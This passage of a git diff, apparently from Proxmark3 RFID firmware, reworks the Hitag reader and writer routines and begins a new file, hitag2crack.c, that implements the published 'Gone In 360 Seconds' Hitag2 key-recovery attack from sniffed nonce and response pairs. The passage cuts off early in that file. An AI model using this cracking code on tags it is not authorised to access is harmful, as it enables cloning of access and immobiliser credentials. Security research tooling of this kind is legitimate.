*)tag.sectors, tag_size); } void ReaderHitag(hitag_function htf, hitag_data *htd) { - StopTicks(); - - // int frame_count = 0; - int response = 0; + uint32_t command_start = 0; + uint32_t command_duration = 0; + uint32_t response_start = 0; + uint32_t response_duration = 0; uint8_t rx[HITAG_FRAME_LEN]; size_t rxlen = 0; uint8_t txbuf[HITAG_FRAME_LEN]; uint8_t *tx = txbuf; size_t txlen = 0; - int lastbit = 1; - bool bSkip; - int reset_sof; - int tag_sof; - int t_wait = HITAG_T_WAIT_MAX; + int t_wait_1; + int t_wait_1_guard = 8; + int t_wait_2; + size_t tag_size; bool bStop = false; + // Raw demodulation/decoding by sampling edge periods + size_t periods = 0; + + // Reset the return status bSuccessful = false; + bCrypto = false; + + // Clean up trace and prepare it for storing frames + set_tracing(true); + clear_trace(); + + DbpString("Starting Hitag reader family"); // Check configuration switch (htf) { + case RHT1F_PLAIN: { + Dbprintf("Read public blocks in plain mode"); + // this part will be unreadable + memset(tag.sectors + 2, 0x0, 30); + blocknr = 0; + break; + } + case RHT1F_AUTHENTICATE: { + Dbprintf("Read all blocks in authed mode"); + memcpy(nonce, htd->ht1auth.nonce, 4); + memcpy(key, htd->ht1auth.key, 4); + memcpy(logdata_0, htd->ht1auth.logdata_0, 4); + memcpy(logdata_1, htd->ht1auth.logdata_1, 4); + // TEST + memset(nonce, 0x0, 4); + memset(logdata_1, 0x00, 4); + byte_value = 0; + key_no = htd->ht1auth.key_no; + Dbprintf("Authenticating using key #%d:", key_no); + Dbhexdump(4, key, false); + DbpString("Nonce:"); + Dbhexdump(4, nonce, false); + DbpString("Logdata_0:"); + Dbhexdump(4, logdata_0, false); + DbpString("Logdata_1:"); + Dbhexdump(4, logdata_1, false); + blocknr = 0; + break; + } case RHT2F_PASSWORD: { Dbprintf("List identifier in password mode"); - memcpy(password, htd->pwd.password, 4); + if (memcmp(htd->pwd.password, "\x00\x00\x00\x00", 4) == 0) + memcpy(password, tag.sectors[1], sizeof(password)); + else + memcpy(password, htd->pwd.password, sizeof(password)); + blocknr = 0; bPwd = false; bAuthenticating = false; @@ -1136,6 +1349,9 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { DbpString("Authenticating using key:"); memcpy(key, htd->crypto.key, 6); //HACK; 4 or 6?? I read both in the code. Dbhexdump(6, key, false); + DbpString("Nonce:"); + Dbhexdump(4, nonce, false); + memcpy(nonce, htd->crypto.data, 4); blocknr = 0; bCrypto = false; bAuthenticating = false; @@ -1157,90 +1373,79 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { default: { Dbprintf("Error, unknown function: %d", htf); set_tracing(false); - StartTicks(); return; } } - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - BigBuf_free(); - clear_trace(); - set_tracing(true); - LED_D_ON(); + + // hitag2 state machine? hitag2_init(); + // init as reader + lf_init(true, false); - // Set fpga in edge detect with reader field, we can modulate as reader now - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT | FPGA_LF_EDGE_DETECT_READER_FIELD); - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_125); //125kHz - SetAdcMuxFor(GPIO_MUXSEL_LOPKD); - - // Configure output and enable pin that is connected to the FPGA (for modulating) - AT91C_BASE_PIOA->PIO_OER |= GPIO_SSC_DOUT; - AT91C_BASE_PIOA->PIO_PER |= GPIO_SSC_DOUT; - - // Disable modulation at default, which means enable the field - LOW(GPIO_SSC_DOUT); - - // Enable Peripheral Clock for - // TIMER_CLOCK0, used to measure exact timing before answering - // TIMER_CLOCK1, used to capture edges of the tag frames - AT91C_BASE_PMC->PMC_PCER |= (1 << AT91C_ID_TC0) | (1 << AT91C_ID_TC1); - - // PIO_A - BSR - AT91C_BASE_PIOA->PIO_BSR = GPIO_SSC_FRAME; - - // Disable timer during configuration - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - - // TC0: Capture mode, default timer source = MCK/2 (TIMER_CLOCK1), no triggers - AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK; - - // TC1: Capture mode, default timer source = MCK/2 (TIMER_CLOCK1), TIOA is external trigger, - // external trigger rising edge, load RA on falling edge of TIOA. - AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK | AT91C_TC_ETRGEDG_FALLING | AT91C_TC_ABETRG | AT91C_TC_LDRA_FALLING; - - // Enable and reset counters - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - - // synchronized startup procedure - while (AT91C_BASE_TC0->TC_CV > 0) {}; // wait until TC0 returned to zero + uint8_t attempt_count = 0; // Tag specific configuration settings (sof, timings, etc.) if (htf < 10) { // hitagS settings - reset_sof = 1; - t_wait = 200; + t_wait_1 = 204; + t_wait_2 = 128; + /*tag_size = 256;*/ + flipped_bit = 0; + tag_size = 8; + DbpString("Configured for hitagS reader"); } else if (htf < 20) { // hitag1 settings - reset_sof = 1; - t_wait = 200; + t_wait_1 = 204; + t_wait_2 = 128; + tag_size = 256; + flipped_bit = 0; + DbpString("Configured for hitag1 reader"); } else if (htf < 30) { // hitag2 settings - reset_sof = 4; - t_wait = HITAG_T_WAIT_2; + t_wait_1 = HITAG_T_WAIT_1_MIN; + t_wait_2 = HITAG_T_WAIT_2_MIN; + tag_size = 48; + DbpString("Configured for hitag2 reader"); } else { Dbprintf("Error, unknown hitag reader type: %d", htf); - goto out; + return; } - uint8_t attempt_count = 0; - while (!bStop && !BUTTON_PRESS() && !data_available()) { + uint8_t tag_modulation; + size_t max_nrzs = (8 * HITAG_FRAME_LEN + 5) * 2; // up to 2 nrzs per bit + uint8_t nrz_samples[max_nrzs]; + size_t nrzs = 0; + int16_t checked = 0; + + while (!bStop) { WDT_HIT(); - // Check if frame was captured and store it - if (rxlen > 0) { - // frame_count++; - LogTrace(rx, nbytes(rxlen), response, response, NULL, false); + // only every 1000th times, in order to save time when collecting samples. + if (checked == 1000) { + if (BUTTON_PRESS() || data_available()) { + checked = -1; + break; + } else { + checked = 0; + } } + ++checked; // By default reset the transmission buffer tx = txbuf; switch (htf) { + case RHT1F_PLAIN: { + bStop = !hitag_plain(rx, rxlen, tx, &txlen, false); + break; + } + case RHT1F_AUTHENTICATE: { + bStop = !hitag1_authenticate(rx, rxlen, tx, &txlen); + break; + } case RHT2F_PASSWORD: { bStop = !hitag2_password(rx, rxlen, tx, &txlen, false); break; @@ -1271,138 +1476,203 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { } } - // Send and store the reader command - // Disable timer 1 with external trigger to avoid triggers during our own modulation - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - - // Wait for HITAG_T_WAIT_2 carrier periods after the last tag bit before transmitting, - // Since the clock counts since the last falling edge, a 'one' means that the - // falling edge occurred halfway the period. with respect to this falling edge, - // we need to wait (T_Wait2 + half_tag_period) when the last was a 'one'. - // All timer values are in terms of T0 units - while (AT91C_BASE_TC0->TC_CV < T0 * (t_wait + (HITAG_T_TAG_HALF_PERIOD * lastbit))); + // Wait for t_wait_2 carrier periods after the last tag bit before transmitting, + lf_wait_periods(t_wait_2); + command_start += t_wait_2; // Transmit the reader frame - hitag_reader_send_frame(tx, txlen); + command_duration = hitag_reader_send_frame(tx, txlen); + response_start = command_start + command_duration; - // Enable and reset external trigger in timer for capturing future frames - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + // Let the antenna and ADC values settle + // And find the position where edge sampling should start + lf_wait_periods(t_wait_1 - t_wait_1_guard); + response_start += t_wait_1 - t_wait_1_guard; - // Add transmitted frame to total count + // Keep administration of the first edge detection + bool waiting_for_first_edge = true; + + // Did we detected any modulaiton at all + bool detected_tag_modulation = false; + + // Use the current modulation state as starting point + tag_modulation = lf_get_tag_modulation(); + + // Reset the number of NRZ samples and use edge detection to detect them + nrzs = 0; + while (nrzs < max_nrzs) { + // Get the timing of the next edge in number of wave periods + periods = lf_count_edge_periods(128); + + // Are we dealing with the first incoming edge + if (waiting_for_first_edge) { + // Just break out of loop after an initial time-out (tag is probably not available) + if (periods == 0) break; + if (tag_modulation == 0) { + // hitag replies always start with 11111 == 1010101010, if we see 0 + // it means we missed the first period, e.g. if the signal never crossed 0 since reader signal + // so let's add it: + nrz_samples[nrzs++] = tag_modulation ^ 1; + // Register the number of periods that have passed + // we missed the begin of response but we know it happened one period of 16 earlier + response_start += periods - 16; + response_duration = response_start; + } else { + // Register the number of periods that have passed + response_start += periods; + response_duration = response_start; + } + // Indicate that we have dealt with the first edge + waiting_for_first_edge = false; + // The first edge is always a single NRZ bit, force periods on 16 + periods = 16; + // We have received more than 0 periods, so we have detected a tag response + detected_tag_modulation = true; + } else { + // The function lf_count_edge_periods() returns 0 when a time-out occurs + if (periods == 0) { + //Dbprintf("Detected timeout after [%d] nrz samples", nrzs); + break; + } + } + // Evaluate the number of periods before the next edge + if (periods > 24 && periods <= 64) { + // Detected two sequential equal bits and a modulation switch + // NRZ modulation: (11 => --|) or (11 __|) + nrz_samples[nrzs++] = tag_modulation; + nrz_samples[nrzs++] = tag_modulation; + response_duration += periods; + // Invert tag modulation state + tag_modulation ^= 1; + } else if (periods > 0 && periods <= 24) { + // Detected one bit and a modulation switch + // NRZ modulation: (1 => -|) or (0 _|) + nrz_samples[nrzs++] = tag_modulation; + response_duration += periods; + tag_modulation ^= 1; + } else { + // The function lf_count_edge_periods() returns > 64 periods, this is not a valid number periods + //Dbprintf("Detected unexpected period count: %d", periods); + break; + } + } + + // Store the TX frame, we do this now at this point, to avoid delay in processing + // and to be able to overwrite the first samples with the trace (since they currently + // still use the same memory space) if (txlen > 0) { - // frame_count++; - LogTrace(tx, nbytes(txlen), HITAG_T_WAIT_2, HITAG_T_WAIT_2, NULL, true); + LogTrace(tx, nbytes(txlen), command_start, command_start + command_duration, NULL, true); } // Reset values for receiving frames memset(rx, 0x00, sizeof(rx)); rxlen = 0; - lastbit = 1; - bSkip = true; - tag_sof = reset_sof; - response = 0; - uint32_t errorCount = 0; - // Receive frame, watch for at most T0*EOF periods - while (AT91C_BASE_TC1->TC_CV < T0 * HITAG_T_WAIT_MAX) { + // If there is no response, just repeat the loop + if (!detected_tag_modulation) continue; - // Check if falling edge in tag modulation is detected - if (AT91C_BASE_TC1->TC_SR & AT91C_TC_LDRAS) { - // Retrieve the new timing values - int ra = (AT91C_BASE_TC1->TC_RA / T0); + // Make sure we always have an even number of samples. This fixes the problem + // of ending the manchester decoding with a zero. See the example below where + // the '|' character is end of modulation + // One at the end: ..._-|_____... + // Zero at the end: ...-_|_____... + // The last modulation change of a zero is not detected, but we should take + // the half period in account, otherwise the demodulator will fail. + if ((nrzs % 2) != 0) { + nrz_samples[nrzs++] = tag_modulation; + } - // Reset timer every frame, we have to capture the last edge for timing - AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; + LED_B_ON(); - LED_B_ON(); + // decode bitstream + manrawdecode((uint8_t *)nrz_samples, &nrzs, true, 0); - // Capture tag frame (manchester decoding using only falling edges) - if (ra >= HITAG_T_EOF) { - // Capture the T0 periods that have passed since last communication or field drop (reset) - // We always recieve a 'one' first, which has the falling edge after a half period |-_| - response = ra - HITAG_T_TAG_HALF_PERIOD; - } else if (ra >= HITAG_T_TAG_CAPTURE_FOUR_HALF) { - // Manchester coding example |-_|_-|-_| (101) - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } else if (ra >= HITAG_T_TAG_CAPTURE_THREE_HALF) { - // Manchester coding example |_-|...|_-|-_| (0...01) - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - // We have to skip this half period at start and add the 'one' the second time - if (!bSkip) { - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } - lastbit = !lastbit; - bSkip = !bSkip; - } else if (ra >= HITAG_T_TAG_CAPTURE_TWO_HALF) { - // Manchester coding example |_-|_-| (00) or |-_|-_| (11) - if (tag_sof) { - // Ignore bits that are transmitted during SOF - tag_sof--; - } else { - // bit is same as last bit - rx[rxlen / 8] |= lastbit << (7 - (rxlen % 8)); - rxlen++; - } - } else { - errorCount++; - // Ignore wierd value, is to small to mean anything + // decode frame + + // Verify if the header consists of five consecutive ones + if (nrzs < 5) { + Dbprintf("Detected unexpected number of manchester decoded samples [%d]", nrzs); + break; + } else { + size_t i; + for (i = 0; i < 5; i++) { + if (nrz_samples[i] != 1) { + Dbprintf("Detected incorrect header, the bit [%d] is zero instead of one, abort", i); + break; } } - //if we saw over 100 wierd values break it probably isn't hitag... - if (errorCount > 100) break; - // We can break this loop if we received the last bit from a frame - if (AT91C_BASE_TC1->TC_CV > T0 * HITAG_T_EOF) { - if (rxlen > 0) break; + if (i < 5) break; + } + + // Pack the response into a byte array + for (size_t i = 5; i < nrzs; i++) { + uint8_t bit = nrz_samples[i]; + if (bit > 1) { // When Manchester detects impossible symbol it writes "7" + Dbprintf("Error in Manchester decoding, abort"); + break; } + rx[rxlen / 8] |= bit << (7 - (rxlen % 8)); + rxlen++; + } + + if (rxlen % 8 == 1) // skip spurious bit + rxlen--; + + // Check if frame was captured and store it + if (rxlen > 0) { + + LogTrace(rx, nbytes(rxlen), response_start, response_start + response_duration, NULL, false); + +// TODO when using cumulative time for command_start, pm3 doesn't reply anymore, e.g. on lf hitag read 23 4F4E4D494B52 +// Use delta time? +// command_start = response_start + response_duration; + command_start = 0; + nrzs = 0; } } out: - LEDsoff(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - set_tracing(false); - - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; + lf_finalize(); // release allocated memory from BigBuff. BigBuf_free(); - StartTicks(); if (bSuccessful) - reply_old(CMD_ACK, bSuccessful, 0, 0, (uint8_t *)tag.sectors, 48); + reply_mix(CMD_ACK, bSuccessful, 0, 0, (uint8_t *)tag.sectors, tag_size); else - reply_old(CMD_ACK, bSuccessful, 0, 0, 0, 0); + reply_mix(CMD_ACK, bSuccessful, 0, 0, 0, 0); } void WriterHitag(hitag_function htf, hitag_data *htd, int page) { - StopTicks(); - - // int frame_count = 0; - int response = 0; + uint32_t command_start = 0; + uint32_t command_duration = 0; + uint32_t response_start = 0; + uint32_t response_duration = 0; uint8_t rx[HITAG_FRAME_LEN]; size_t rxlen = 0; uint8_t txbuf[HITAG_FRAME_LEN]; uint8_t *tx = txbuf; size_t txlen = 0; - int lastbit; - int reset_sof; - int t_wait = HITAG_T_WAIT_MAX; - bool bStop; + int t_wait_1; + int t_wait_1_guard = 8; + int t_wait_2; + size_t tag_size; + bool bStop = false; - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - set_tracing(true); - clear_trace(); + // Raw demodulation/decoding by sampling edge periods + size_t periods = 0; // Reset the return status bSuccessful = false; + bCrypto = false; + // Clean up trace and prepare it for storing frames + set_tracing(true); + clear_trace(); + + DbpString("Starting Hitag writer family"); + // Check configuration switch (htf) { case WHT2F_CRYPTO: { @@ -1429,228 +1699,240 @@ void WriterHitag(hitag_function htf, hitag_data *htd, int page) { break; default: { Dbprintf("Error, unknown function: %d", htf); - StartTicks(); return; } break; } LED_D_ON(); + hitag2_init(); - // Configure output and enable pin that is connected to the FPGA (for modulating) - AT91C_BASE_PIOA->PIO_OER |= GPIO_SSC_DOUT; - AT91C_BASE_PIOA->PIO_PER |= GPIO_SSC_DOUT; - - // Set fpga in edge detect with reader field, we can modulate as reader now - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT | FPGA_LF_EDGE_DETECT_READER_FIELD); - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_125); //125kHz - SetAdcMuxFor(GPIO_MUXSEL_LOPKD); - - // Disable modulation at default, which means enable the field - LOW(GPIO_SSC_DOUT); - - // Enable Peripheral Clock for - // TIMER_CLOCK0, used to measure exact timing before answering - // TIMER_CLOCK1, used to capture edges of the tag frames - AT91C_BASE_PMC->PMC_PCER |= (1 << AT91C_ID_TC0) | (1 << AT91C_ID_TC1); - - AT91C_BASE_PIOA->PIO_BSR = GPIO_SSC_FRAME; - - // Disable timer during configuration - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - - // TC0: Capture mode, default timer source = MCK/2 (TIMER_CLOCK1), no triggers - AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK; - - // TC1: Capture mode, defaul timer source = MCK/2 (TIMER_CLOCK1), TIOA is external trigger, - // external trigger rising edge, load RA on falling edge of TIOA. - AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK - | AT91C_TC_ETRGEDG_FALLING - | AT91C_TC_ABETRG - | AT91C_TC_LDRA_FALLING; - - // Enable and reset counters - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - - while (AT91C_BASE_TC0->TC_CV > 0) {}; - - // Reset the received frame, frame count and timing info - lastbit = 1; - bStop = false; - + // init as reader + lf_init(true, false); + // Tag specific configuration settings (sof, timings, etc.) if (htf < 10) { // hitagS settings - reset_sof = 1; - t_wait = 200; + t_wait_1 = 204; + t_wait_2 = 128; + /*tag_size = 256;*/ + flipped_bit = 0; + tag_size = 8; + DbpString("Configured for hitagS writer"); } else if (htf < 20) { - // hitag1 settings - reset_sof = 1; - t_wait = 200; + // hitag1 settings + t_wait_1 = 204; + t_wait_2 = 128; + tag_size = 256; + flipped_bit = 0; + DbpString("Configured for hitag1 writer"); } else if (htf < 30) { - // hitag2 settings - reset_sof = 4; - t_wait = HITAG_T_WAIT_2; + // hitag2 settings + t_wait_1 = HITAG_T_WAIT_1_MIN; + t_wait_2 = HITAG_T_WAIT_2_MIN; + tag_size = 48; + DbpString("Configured for hitag2 writer"); } else { - Dbprintf("Error, unknown hitag reader type: %d", htf); + Dbprintf("Error, unknown hitag writer type: %d", htf); return; } - while (!bStop && !BUTTON_PRESS() && !data_available()) { + uint8_t tag_modulation; + size_t max_nrzs = (8 * HITAG_FRAME_LEN + 5) * 2; // up to 2 nrzs per bit + uint8_t nrz_samples[max_nrzs]; + size_t nrzs = 0; + + int16_t checked = 0; + while (!bStop) { + + // only every 1000th times, in order to save time when collecting samples. + if (checked == 1000) { + if (BUTTON_PRESS() || data_available()) { + checked = -1; + break; + } else { + checked = 0; + } + } + ++checked; WDT_HIT(); - // Check if frame was captured and store it - if (rxlen > 0) { - // frame_count++; - LogTrace(rx, nbytes(rxlen), response, response, NULL, false); - } - // By default reset the transmission buffer tx = txbuf; switch (htf) { case WHT2F_CRYPTO: { bStop = !hitag2_crypto(rx, rxlen, tx, &txlen, true); + break; } - break; case WHT2F_PASSWORD: { bStop = !hitag2_password(rx, rxlen, tx, &txlen, true); + break; } - break; default: { Dbprintf("Error, unknown function: %d", htf); - return; + goto out; } - break; } - // Send and store the reader command - // Disable timer 1 with external trigger to avoid triggers during our own modulation - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - - // Wait for HITAG_T_WAIT_2 carrier periods after the last tag bit before transmitting, - // Since the clock counts since the last falling edge, a 'one' means that the - // falling edge occurred halfway the period. with respect to this falling edge, - // we need to wait (T_Wait2 + half_tag_period) when the last was a 'one'. - // All timer values are in terms of T0 units - while (AT91C_BASE_TC0->TC_CV < T0 * (t_wait + (HITAG_T_TAG_HALF_PERIOD * lastbit))) {}; + // Wait for t_wait_2 carrier periods after the last tag bit before transmitting, + lf_wait_periods(t_wait_2); + command_start += t_wait_2; // Transmit the reader frame - hitag_reader_send_frame(tx, txlen); + command_duration = hitag_reader_send_frame(tx, txlen); - // Enable and reset external trigger in timer for capturing future frames - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + response_start = command_start + command_duration; - // Add transmitted frame to total count + // Let the antenna and ADC values settle + // And find the position where edge sampling should start + lf_wait_periods(t_wait_1 - t_wait_1_guard); + response_start += t_wait_1 - t_wait_1_guard; + + // Keep administration of the first edge detection + bool waiting_for_first_edge = true; + + // Did we detected any modulaiton at all + bool detected_tag_modulation = false; + + // Use the current modulation state as starting point + tag_modulation = lf_get_tag_modulation(); + + // Reset the number of NRZ samples and use edge detection to detect them + nrzs = 0; + while (nrzs < max_nrzs) { + // Get the timing of the next edge in number of wave periods + periods = lf_count_edge_periods(128); + + // Are we dealing with the first incoming edge + if (waiting_for_first_edge) { + // Just break out of loop after an initial time-out (tag is probably not available) + if (periods == 0) break; + if (tag_modulation == 0) { + // hitag replies always start with 11111 == 1010101010, if we see 0 + // it means we missed the first period, e.g. if the signal never crossed 0 since reader signal + // so let's add it: + nrz_samples[nrzs++] = tag_modulation ^ 1; + // Register the number of periods that have passed + // we missed the begin of response but we know it happened one period of 16 earlier + response_start += periods - 16; + response_duration = response_start; + } else { + // Register the number of periods that have passed + response_start += periods; + response_duration = response_start; + } + // Indicate that we have dealt with the first edge + waiting_for_first_edge = false; + // The first edge is always a single NRZ bit, force periods on 16 + periods = 16; + // We have received more than 0 periods, so we have detected a tag response + detected_tag_modulation = true; + } else { + // The function lf_count_edge_periods() returns 0 when a time-out occurs + if (periods == 0) { + //Dbprintf("Detected timeout after [%d] nrz samples", nrzs); + break; + } + } + // Evaluate the number of periods before the next edge + if (periods > 24 && periods <= 64) { + // Detected two sequential equal bits and a modulation switch + // NRZ modulation: (11 => --|) or (11 __|) + nrz_samples[nrzs++] = tag_modulation; + nrz_samples[nrzs++] = tag_modulation; + response_duration += periods; + // Invert tag modulation state + tag_modulation ^= 1; + } else if (periods > 0 && periods <= 24) { + // Detected one bit and a modulation switch + // NRZ modulation: (1 => -|) or (0 _|) + nrz_samples[nrzs++] = tag_modulation; + response_duration += periods; + tag_modulation ^= 1; + } else { + // The function lf_count_edge_periods() returns > 64 periods, this is not a valid number periods + //Dbprintf("Detected unexpected period count: %d", periods); + break; + } + } + + // Wait some extra time for flash to be programmed + // + + // Store the TX frame, we do this now at this point, to avoid delay in processing + // and to be able to overwrite the first samples with the trace (since they currently + // still use the same memory space) if (txlen > 0) { - // frame_count++; - LogTrace(tx, nbytes(txlen), HITAG_T_WAIT_2, HITAG_T_WAIT_2, NULL, true); + LogTrace(tx, nbytes(txlen), command_start, command_start + command_duration, NULL, true); } // Reset values for receiving frames memset(rx, 0x00, sizeof(rx)); rxlen = 0; - lastbit = 1; - bool bSkip = true; - int tag_sof = reset_sof; - response = 0; - uint32_t errorCount = 0; - // Receive frame, watch for at most T0*EOF periods - while (AT91C_BASE_TC1->TC_CV < T0 * HITAG_T_WAIT_MAX) { - // Check if falling edge in tag modulation is detected - if (AT91C_BASE_TC1->TC_SR & AT91C_TC_LDRAS) { - // Retrieve the new timing values - int ra = (AT91C_BASE_TC1->TC_RA / T0); + // If there is no response, just repeat the loop + if (!detected_tag_modulation) continue; - // Reset timer every frame, we have to capture the last edge for timing - AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; - - LED_B_ON(); - - // Capture tag frame (manchester decoding using only falling edges) - if (ra >= HITAG_T_EOF) { - if (rxlen != 0) { - //Dbprintf("DEBUG: Wierd1"); - } - // Capture the T0 periods that have passed since last communication or field drop (reset) - // We always recieve a 'one' first, which has the falling edge after a half period |-_| - response = ra - HITAG_T_TAG_HALF_PERIOD; - } else if (ra >= HITAG_T_TAG_CAPTURE_FOUR_HALF) { - // Manchester coding example |-_|_-|-_| (101) - - // need to test to verify we don't exceed memory... - // if ( ((rxlen+2) / 8) > HITAG_FRAME_LEN) { - // break; - // } - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } else if (ra >= HITAG_T_TAG_CAPTURE_THREE_HALF) { - // Manchester coding example |_-|...|_-|-_| (0...01) - - // need to test to verify we don't exceed memory... - // if ( ((rxlen+2) / 8) > HITAG_FRAME_LEN) { - // break; - // } - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - // We have to skip this half period at start and add the 'one' the second time - if (!bSkip) { - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } - lastbit = !lastbit; - bSkip = !bSkip; - } else if (ra >= HITAG_T_TAG_CAPTURE_TWO_HALF) { - // Manchester coding example |_-|_-| (00) or |-_|-_| (11) - - // need to test to verify we don't exceed memory... - // if ( ((rxlen+2) / 8) > HITAG_FRAME_LEN) { - // break; - // } - if (tag_sof) { - // Ignore bits that are transmitted during SOF - tag_sof--; - } else { - // bit is same as last bit - rx[rxlen / 8] |= lastbit << (7 - (rxlen % 8)); - rxlen++; - } - } else { - // Dbprintf("DEBUG: Wierd2"); - errorCount++; - // Ignore wierd value, is to small to mean anything - } - } - // if we saw over 100 wierd values break it probably isn't hitag... - if (errorCount > 100) break; - - // We can break this loop if we received the last bit from a frame - if (AT91C_BASE_TC1->TC_CV > T0 * HITAG_T_EOF) { - if (rxlen > 0) break; - } + // Make sure we always have an even number of samples. This fixes the problem + // of ending the manchester decoding with a zero. See the example below where + // the '|' character is end of modulation + // One at the end: ..._-|_____... + // Zero at the end: ...-_|_____... + // The last modulation change of a zero is not detected, but we should take + // the half period in account, otherwise the demodulator will fail. + if ((nrzs % 2) != 0) { + nrz_samples[nrzs++] = tag_modulation; } - // Wait some extra time for flash to be programmed - if ((rxlen == 0) && (writestate == WRITE_STATE_PROG)) { - AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; - while (AT91C_BASE_TC0->TC_CV < T0 * (HITAG_T_PROG - HITAG_T_WAIT_MAX)); + LED_B_ON(); + + // decode bitstream + manrawdecode((uint8_t *)nrz_samples, &nrzs, true, 0); + + // decode frame + + // Verify if the header consists of five consecutive ones + if (nrzs < 5) { + break; + } else { + size_t i; + for (i = 0; i < 5; i++) { + if (nrz_samples[i] != 1) { + Dbprintf("Detected incorrect header, the bit [%d] is zero instead of one, abort", i); + break; + } + } + if (i < 5) break; + } + + // Pack the response into a byte array + for (size_t i = 5; i < nrzs; i++) { + uint8_t bit = nrz_samples[i]; + if (bit > 1) { // When Manchester detects impossible symbol it writes "7" + break; + } + rx[rxlen / 8] |= bit << (7 - (rxlen % 8)); + rxlen++; + } + + if (rxlen % 8 == 1) // skip spurious bit + rxlen--; + + // Check if frame was captured and store it + if (rxlen > 0) { + LogTrace(rx, nbytes(rxlen), response_start, response_start + response_duration, NULL, false); + command_start = 0; } } - LEDsoff(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - set_tracing(false); - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; +out: + lf_finalize(); - StartTicks(); + // release allocated memory from BigBuff. + BigBuf_free(); - reply_old(CMD_ACK, bSuccessful, 0, 0, (uint8_t *)tag.sectors, 48); + reply_mix(CMD_ACK, bSuccessful, 0, 0, (uint8_t *)tag.sectors, tag_size); } diff --git a/armsrc/hitag2.h b/armsrc/hitag2.h index 9e0fb84e6..ec3d0d7f3 100644 --- a/armsrc/hitag2.h +++ b/armsrc/hitag2.h @@ -14,8 +14,8 @@ #include "common.h" #include "hitag.h" -void SniffHitag(void); -void SimulateHitagTag(bool tag_mem_supplied, uint8_t *data); +void SniffHitag2(void); +void SimulateHitag2(bool tag_mem_supplied, uint8_t *data); void ReaderHitag(hitag_function htf, hitag_data *htd); void WriterHitag(hitag_function htf, hitag_data *htd, int page); diff --git a/armsrc/hitag2crack.c b/armsrc/hitag2crack.c new file mode 100644 index 000000000..c6b61b019 --- /dev/null +++ b/armsrc/hitag2crack.c @@ -0,0 +1,923 @@ +//----------------------------------------------------------------------------- +// Kevin Sheldrake , Aug 2018 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +// +// iceman, Jan, 2020 +// doegox, Jan, 2020 +//----------------------------------------------------------------------------- +// hitag2 attack functions +//----------------------------------------------------------------------------- + +#include "hitagcrypto.h" +#include "hitag2crack.h" + +#define READP0CMD "1100000111" +#define ERROR_RESPONSE "F402889C" + +extern const uint8_t Hitag2Sync[5]; +extern bool CryptoActive; +extern Hitag_State Hitag_Crypto_State; + +// hitag2_crack implements the first crack algorithm described in the paper, +// Gone In 360 Seconds by Verdult, Garcia and Balasch. +// response is a multi-line text response containing the 8 pages of the +// cracked tag; +// nrarhex is a string containing hex representations of the 32 bit nR and aR +// values (separated by a space) snooped using SNIFF-PWM. +bool hitag2_crack(uint8_t *response, uint8_t *nrarhex) { + uint8_t uidhex[9]; + uint8_t uid[32]; + uint8_t nrar[64]; + uint8_t e_firstcmd[10]; + uint8_t e_page0cmd[10]; + uint8_t keybits[42]; + uint8_t pagehex[9]; + uint8_t temp[20]; + int i; + uint8_t *spaceptr = NULL; + + // get uid as hexstring + if(!hitag2_get_uid(uidhex)) + { + UserMessage("Cannot get UID\r\n"); + return false; + } + + // convert uid hexstring to binarray + hextobinarray(uid, uidhex); + + // convert nR and aR hexstrings to binarray + spaceptr = strchr(nrarhex, ' '); + if (!spaceptr) + { + UserMessage("Please supply a valid nR aR pair\r\n"); + return false; + } + *spaceptr = 0x00; + + if (hextobinarray(nrar, 